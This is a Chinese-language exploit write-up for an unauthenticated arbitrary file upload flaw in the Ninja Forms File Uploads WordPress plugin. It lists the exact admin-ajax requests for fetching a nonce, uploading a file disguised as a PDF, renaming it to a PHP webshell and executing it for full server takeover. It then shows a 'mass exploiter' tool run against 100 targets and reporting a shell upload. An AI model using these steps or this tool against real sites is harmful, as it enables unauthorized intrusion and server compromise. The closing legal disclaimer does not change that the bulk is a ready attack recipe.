用于 WordPress 的 Ninja Forms - File Uploads 插件存在未认证任意文件上传漏洞,原因是在所有版本(包括 3.3.26)的 'NF_FU_AJAX_Controllers_Uploads::handle_upload' 函数中缺少文件类型验证和权限检查。
此漏洞允许未认证的攻击者:
~ CVSS 评分:9.8(严重)
~ 受影响版本:<= 3.3.26
步骤 1:获取 Nonce
────────────────────────────────────
POST /wp-admin/admin-ajax.php
数据:action=nf_fu_get_new_nonce&field_id=7&form_id=7
响应:{"success":true,"data":{"nonce":"7a850757a1"}}
│
▼
步骤 2:上传伪装文件并重命名为 PHP
──────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
数据:
- action=nf_fu_upload
- nonce=7a850757a1
- field_id=7
- form_id=7
- [email protected](白名单扩展名)
- doc_pdf=shadow.php(重命名目标)
│
▼
步骤 3:服务器存储恶意文件
─────────────────────────────────────
位置:/wp-content/uploads/ninja-forms/tmp/shadow.php
内容:PHP shell(上传器 / webshell)
│
▼
步骤 4:执行上传的文件
────────────────────────────────────
GET /wp-content/uploads/ninja-forms/tmp/shadow.php
→ 执行 webshell
→ 完全接管服务器
- 实地测试结论:
1. `nf_fu_get_new_nonce` 端点无需检查字段是否存在即可返回有效的 nonce
→ 不验证 `field_id` 和 `form_id` 参数(任何随机 ID 均可)
2. 重命名功能存在严重逻辑缺陷
→ 插件接受用户通过 POST 参数提供的文件名
→ 重命名后不验证最终文件扩展名
3. 上传的文件直接落入 Web 可访问目录
→ /wp-content/uploads/ninja-forms/tmp/
4. 此工具的作者非常英俊
˚⊱🪷⊰˚ NINJA FORMS MASS EXPLOITER ˚⊱🪷⊰˚
╰┈➤ 完整响应显示
[+] 已加载 100 个目标
[1/100]
😈 [FRISKA RESEARCHER] 攻击:https://example.com
[*] 获取 nonce...
[*] HTTP 状态码:400
[*] 响应:0
[-] HTTP 错误:400
[2/100]
😈 [FRISKA RESEARCHER] 攻击:https://www.test.com
[*] 获取 nonce...
[*] HTTP 状态码:200
[*] 响应:{"success":true,"data":{"nonce":"b0404ec210","nonce_expiry":1775648146}}
[+] Nonce:b0404ec210
[*] 上传 shell...
[*] 上传响应:{"data":{"files":[{"name":"doc.pdf","full_path":"doc.pdf","type":"application\/pdf","tmp_name":"shadow.php","error":0,"size":246,"new_tmp_key":"doc_pdf"}]},"errors":[],"debug":[]}
============================================================
🔥 SHELL 上传器:https://www.test.com/wp-content/uploads/ninja-forms/tmp/shadow.php
============================================================
未经授权使用你不拥有或没有权限测试的系统是违法的。